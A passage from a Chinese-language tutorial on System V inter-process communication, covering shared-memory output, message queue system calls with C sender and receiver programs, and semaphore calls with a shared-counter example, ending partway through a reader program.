segment contains : "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Reading Process: Shared Memory: Read 1023 bytes segment contains : "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" Reading Process: Shared Memory: Read 1023 bytes segment contains : "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC" Reading Process: Shared Memory: Read 1023 bytes segment contains : "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD" Reading Process: Shared Memory: Read 1023 bytes segment contains : "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" Reading Process: Shared Memory: Read 1023 bytes Reading Process: Reading Done, Detaching Shared Memory Reading Process: Complete
訊息佇列
既然已經有了共享記憶體,為什麼還需要訊息佇列?原因有很多,為了簡化,讓我們嘗試將其分解成多個要點:
如我們所知,一旦一個程序接收了訊息,其他任何程序都無法再訪問它。而在共享記憶體中,多個程序都可以訪問資料。
如果我們希望使用小的訊息格式進行通訊。
當多個程序同時通訊時,需要使用同步機制來保護共享記憶體資料。
如果使用共享記憶體的寫入和讀取頻率很高,那麼實現功能將非常複雜。在這種情況下,使用它並不值得。
如果並非所有程序都需要訪問共享記憶體,而只有少數程序需要訪問,那麼使用訊息佇列會更好。
如果我們希望使用不同的資料包進行通訊,例如程序 A 向程序 B 傳送訊息型別 1,向程序 C 傳送訊息型別 10,向程序 D 傳送訊息型別 20。在這種情況下,使用訊息佇列更容易實現。為了簡化給定的訊息型別(1、10、20),它可以是 0 或正數或負數,如下所述。
當然,訊息佇列的順序是 FIFO(先進先出)。第一個插入佇列的訊息是第一個被檢索的訊息。
使用共享記憶體或訊息佇列取決於應用程式的需求以及它可以被有效利用的程度。
使用訊息佇列進行通訊可以透過以下方式實現:
一個程序寫入共享記憶體,另一個程序從共享記憶體讀取。我們知道,多個程序也可以讀取。
一個程序使用不同的資料包寫入共享記憶體,多個程序從中讀取,即根據訊息型別讀取。
在瞭解了有關訊息佇列的一些資訊後,現在是時候檢查支援訊息佇列的系統呼叫(System V)了。
要使用訊息佇列進行通訊,請執行以下步驟:
步驟 1 − 建立訊息佇列或連線到已有的訊息佇列 (msgget())
步驟 2 − 向訊息佇列寫入 (msgsnd())
步驟 3 − 從訊息佇列讀取 (msgrcv())
步驟 4 − 對訊息佇列執行控制操作 (msgctl())
現在,讓我們檢查以上呼叫的語法和一些資訊。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgget(key_t key, int msgflg)
此係統呼叫建立或分配一個 System V 訊息佇列。需要傳遞以下引數:
第一個引數 key 用於識別訊息佇列。key 可以是任意值,也可以是從庫函式 ftok() 派生的值。
第二個引數 shmflg 指定所需的訊息佇列標誌,例如 IPC_CREAT(如果不存在則建立訊息佇列)或 IPC_EXCL(與 IPC_CREAT 一起使用以建立訊息佇列,如果訊息佇列已存在,則呼叫失敗)。還需要傳遞許可權。
注意 - 請參閱前面的部分以瞭解有關許可權的詳細資訊。
此呼叫成功時返回有效的訊息佇列識別符號(用於後續的訊息佇列呼叫),失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
此呼叫可能出現的各種錯誤包括 EACCESS(許可權被拒絕)、EEXIST(佇列已存在,無法建立)、ENOENT(佇列不存在)、ENOMEM(記憶體不足,無法建立佇列)等。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
此係統呼叫將訊息傳送/追加到訊息佇列(System V)。需要傳遞以下引數:
第一個引數 msgid 用於識別訊息佇列,即訊息佇列識別符號。識別符號值在 msgget() 成功後獲得。
第二個引數 msgp 是指向傳送到呼叫者的訊息的指標,定義在以下形式的結構體中:
struct msgbuf {
long mtype;
char mtext[1];
};
變數 mtype 用於與不同的訊息型別進行通訊,在 msgrcv() 呼叫中詳細解釋。變數 mtext 是一個數組或其他結構體,其大小由 msgsz(正值)指定。如果未提及 mtext 欄位,則將其視為零大小訊息,這是允許的。
第三個引數 msgsz 是訊息的大小(訊息應以 null 字元結尾)。
第四個引數 msgflg 指示某些標誌,例如 IPC_NOWAIT(當佇列中沒有找到訊息時立即返回)或 MSG_NOERROR(如果超過 msgsz 位元組,則截斷訊息文字)。
此呼叫將在成功時返回0,在失敗時返回-1。要了解失敗的原因,請檢查errno變數或perror()函式。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
此係統呼叫從訊息佇列(System V)檢索訊息。需要傳遞以下引數:
第一個引數 msgid 用於識別訊息佇列,即訊息佇列識別符號。識別符號值在 msgget() 成功後獲得。
第二個引數 msgp 是從呼叫者接收的訊息的指標。它定義在以下形式的結構體中:
struct msgbuf {
long mtype;
char mtext[1];
};
變數 mtype 用於與不同的訊息型別進行通訊。變數 mtext 是一個數組或其他結構體,其大小由 msgsz(正值)指定。如果未提及 mtext 欄位,則將其視為零大小訊息,這是允許的。
第三個引數 msgsz 是接收的訊息的大小(訊息應以 null 字元結尾)。
第四個引數 msgtype 指示訊息的型別:
如果 msgtype 為 0 − 讀取佇列中接收到的第一個訊息。
如果 msgtype 為正數 − 讀取佇列中第一個型別為 msgtype 的訊息(如果 msgtype 為 10,則僅讀取第一個型別為 10 的訊息,即使佇列開頭可能存在其他型別的訊息)。
如果 msgtype 為負數 − 讀取第一個型別小於或等於訊息型別絕對值的最低型別訊息(例如,如果 msgtype 為 -5,則讀取第一個型別小於 5 的訊息,即型別為 1 到 5 的訊息)。
第五個引數 msgflg 指示某些標誌,例如 IPC_NOWAIT(當佇列中沒有找到訊息時立即返回)或 MSG_NOERROR(如果超過 msgsz 位元組,則截斷訊息文字)。
此呼叫成功時返回實際接收到的 mtext 陣列中的位元組數,失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgctl(int msgid, int cmd, struct msqid_ds *buf)
此係統呼叫執行訊息佇列(System V)的控制操作。需要傳遞以下引數:
第一個引數 msgid 用於識別訊息佇列,即訊息佇列識別符號。識別符號值在 msgget() 成功後獲得。
第二個引數 cmd 是要對訊息佇列執行的所需控制操作的命令。cmd 的有效值為:
IPC_STAT − 將結構體 msqid_ds 中每個成員的當前值資訊複製到 buf 指向的結構體中。此命令需要對訊息佇列具有讀取許可權。
IPC_SET − 設定結構體 buf 指向的擁有者使用者 ID、組 ID、許可權等。
IPC_RMID − 立即刪除訊息佇列。
IPC_INFO − 將訊息佇列限制和引數資訊返回到 buf 指向的結構體中,該結構體的型別為 struct msginfo。
MSG_INFO − 返回一個 msginfo 結構體,其中包含訊息佇列消耗的系統資源資訊。
第三個引數 buf 是指向名為 struct msqid_ds 的訊息佇列結構體的指標。此結構體中的值將根據 cmd 用於設定或獲取。
此呼叫根據傳遞的命令返回相應的值。IPC_INFO 和 MSG_INFO 或 MSG_STAT 成功時返回訊息佇列的索引或識別符號,其他操作返回 0,失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
在瞭解了有關訊息佇列的基本資訊和系統呼叫後,現在是時候檢查程式了。
在檢視程式之前,讓我們先了解一下描述:
步驟 1 − 建立兩個程序,一個用於向訊息佇列傳送 (msgq_send.c),另一個用於從訊息佇列檢索 (msgq_recv.c)。
步驟 2 − 使用 ftok() 函式建立 key。為此,首先建立檔案 msgq.txt 以獲取唯一的 key。
步驟 3 − 傳送程序執行以下操作。
從使用者讀取字串輸入。
如果存在,則刪除換行符。
傳送到訊息佇列。
重複此過程,直到輸入結束 (CTRL + D)。
收到輸入結束訊號後,傳送訊息“end”以表示程序結束。
步驟 4 − 在接收程序中,執行以下操作。
- 從佇列讀取訊息。
- 顯示輸出。
- 如果接收到的訊息為“end”,則結束程序並退出。
為了簡化,此示例中未使用訊息型別。此外,一個程序寫入佇列,另一個程序從佇列讀取。這可以根據需要擴充套件,即理想情況下,一個程序寫入佇列,多個程序從佇列讀取。
現在,讓我們檢查程序(向佇列傳送訊息) - 檔案:msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
編譯和執行步驟
message queue: ready to send messages. Enter lines of text, ^D to quit: this is line 1 this is line 2 message queue: done sending messages.
以下是訊息接收程序的程式碼(從佇列檢索訊息) - 檔案:msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
編譯和執行步驟
message queue: ready to receive messages. recvd: "this is line 1" recvd: "this is line 2" recvd: "end" message queue: done receiving messages.
程序間通訊 - 訊號量
首先想到的問題是,為什麼我們需要訊號量?簡單來說,是為了保護多個程序共享的關鍵/公共區域。
假設多個程序使用相同的程式碼區域,如果所有程序都想要並行訪問,那麼結果就會出現重疊。例如,多個使用者只使用一臺印表機(公共/關鍵區域),假設有3個使用者,同時提交了3個列印作業,如果所有作業都並行開始,那麼一個使用者的輸出就會與另一個使用者的輸出重疊。因此,我們需要使用訊號量來保護它,即當一個程序正在執行時鎖定關鍵區域,並在完成時解鎖。這將對每個使用者/程序重複,以確保一個作業不會與另一個作業重疊。
基本上,訊號量分為兩種型別:
二元訊號量 - 只有兩種狀態 0 & 1,即鎖定/解鎖或可用/不可用,互斥量實現。
計數訊號量 - 允許任意資源計數的訊號量稱為計數訊號量。
假設我們有5臺印表機(為了理解,假設1臺印表機只接受1個作業),我們有3個列印作業。現在,這3個作業將分配給3臺印表機(每臺1個)。當列印作業正在進行時,又來了4個作業。現在,在2臺可用的印表機中,2個作業已經排隊,我們還有2個作業,只有當其中一個資源/印表機可用時才能完成。這種根據資源可用性進行排程的機制可以看作是計數訊號量。
要使用訊號量執行同步,請按照以下步驟操作:
步驟1 - 建立訊號量或連線到已存在的訊號量 (semget())
步驟2 - 對訊號量執行操作,例如分配、釋放或等待資源 (semop())
步驟3 - 對訊息佇列執行控制操作 (semctl())
現在,讓我們使用我們擁有的系統呼叫來檢查一下。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> int semget(key_t key, int nsems, int semflg)
此係統呼叫建立或分配一個 System V 訊號量集。需要傳遞以下引數:
第一個引數 key 用於識別訊息佇列。key 可以是任意值,也可以是從庫函式 ftok() 派生的值。
第二個引數 nsems 指定訊號量的數量。如果是二元訊號量,則為 1,表示需要 1 個訊號量集,否則根據所需的訊號量集數量進行指定。
第三個引數 semflg 指定所需的訊號量標誌,例如 IPC_CREAT(如果訊號量不存在則建立)或 IPC_EXCL(與 IPC_CREAT 一起使用以建立訊號量,如果訊號量已存在則呼叫失敗)。還需要傳遞許可權。
注意 - 請參閱前面的部分以瞭解有關許可權的詳細資訊。
如果成功,此呼叫將返回有效的訊號量識別符號(用於後續的訊號量呼叫),如果失敗則返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
與該呼叫相關的各種錯誤包括 EACCESS(許可權被拒絕)、EEXIST(佇列已存在,無法建立)、ENOENT(佇列不存在)、ENOMEM(沒有足夠的記憶體來建立佇列)、ENOSPC(超過最大集合限制)等。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> int semop(int semid, struct sembuf *semops, size_t nsemops)
此係統呼叫對 System V 訊號量集執行操作,例如分配資源、等待資源或釋放資源。需要傳遞以下引數:
第一個引數 semid 指示由 semget() 建立的訊號量集識別符號。
第二個引數 semops 是指向要對訊號量集執行的運算元組的指標。結構如下:
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
上述結構中的元素 sem_op 指示需要執行的操作:
如果 sem_op 為負,則分配或獲取資源。阻塞呼叫程序,直到其他程序釋放了足夠的資源,以便此程序可以分配。
如果 sem_op 為零,則呼叫程序等待或休眠,直到訊號量值達到 0。
如果 sem_op 為正,則釋放資源。
例如:
struct sembuf sem_lock = { 0, -1, SEM_UNDO };
struct sembuf sem_unlock = {0, 1, SEM_UNDO };
第三個引數 nsemops 是該陣列中操作的數量。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> int semctl(int semid, int semnum, int cmd, …)
此係統呼叫對 System V 訊號量執行控制操作。需要傳遞以下引數:
第一個引數 semid 是訊號量的識別符號。此 ID 是訊號量識別符號,它是 semget() 系統呼叫的返回值。
第二個引數 semnum 是訊號量的編號。訊號量從 0 開始編號。
第三個引數 cmd 是執行所需控制操作的命令。
第四個引數,型別為 union semun,取決於 cmd。對於某些情況,第四個引數不適用。
讓我們檢查一下 union semun:
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
在 sys/sem.h 中定義的 semid_ds 資料結構如下:
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
注意 - 請參閱手冊頁以獲取其他資料結構。
union semun arg; cmd 的有效值為:
IPC_STAT - 將 struct semid_ds 中每個成員的當前值的副本複製到 arg.buf 指向的結構中。此命令需要對訊號量具有讀取許可權。
IPC_SET - 設定所有者的使用者 ID、組 ID、許可權等,這些由 semid_ds 結構指向。
IPC_RMID - 刪除訊號量集。
IPC_INFO - 返回有關訊號量限制和引數的資訊,這些資訊儲存在 arg.__buf 指向的 semid_ds 結構中。
SEM_INFO - 返回一個 seminfo 結構,其中包含有關訊號量消耗的系統資源的資訊。
此呼叫將根據傳遞的命令返回一個值(非負值)。成功時,IPC_INFO 和 SEM_INFO 或 SEM_STAT 返回最高使用條目的索引或識別符號(根據訊號量),或 GETNCNT 的 semncnt 值,或 GETPID 的 sempid 值,或 GETVAL 的 semval 值,對於其他操作,成功時返回 0,失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
在檢視程式碼之前,讓我們瞭解一下它的實現:
建立兩個程序,例如子程序和父程序。
建立共享記憶體,主要用於儲存計數器和其他標誌,以指示共享記憶體中讀/寫程序的結束。
父程序和子程序都將計數器增加 count。count 可以作為命令列引數傳遞,也可以作為預設值(如果未作為命令列引數傳遞或值小於 10000)。使用某些休眠時間來確保父程序和子程序同時訪問共享記憶體,即並行訪問。
由於父程序和子程序都將計數器每次增加 1,因此最終值應該是計數器的兩倍。由於父程序和子程序同時執行操作,因此計數器不會按預期遞增。因此,我們需要確保一個程序完成之後再執行另一個程序。
所有上述實現都在檔案 shm_write_cntr.c 中執行。
檢查計數器值是否在檔案 shm_read_cntr.c 中實現。
為了確保完成,訊號量程式在檔案 shm_write_cntr_with_sem.c 中實現。在整個程序完成後(從另一個程式讀取完成後)刪除訊號量。
由於我們有單獨的檔案來讀取共享記憶體中的計數器值,並且不會受到寫入的影響,因此讀取程式保持不變 (shm_read_cntr.c)。
最好在一個終端中執行寫入程式,在另一個終端中執行讀取程式。由於程式只有在寫入和讀取過程完成後才會完成執行,因此在完全執行寫入程式後執行程式是可以的。寫入程式將等待讀取程式執行,並且只有在讀取程式完成後才會結束。
沒有訊號量的程式。
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
編譯和執行步驟
Total Count is 10000 SHM_WRITE: PARENT: Now writing SHM_WRITE: CHILD: Now writing SHM_WRITE: PARENT: Writing Done SHM_WRITE: CHILD: Writing Done Writing Process: Complete
現在,讓我們檢查共享記憶體讀取程式。
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
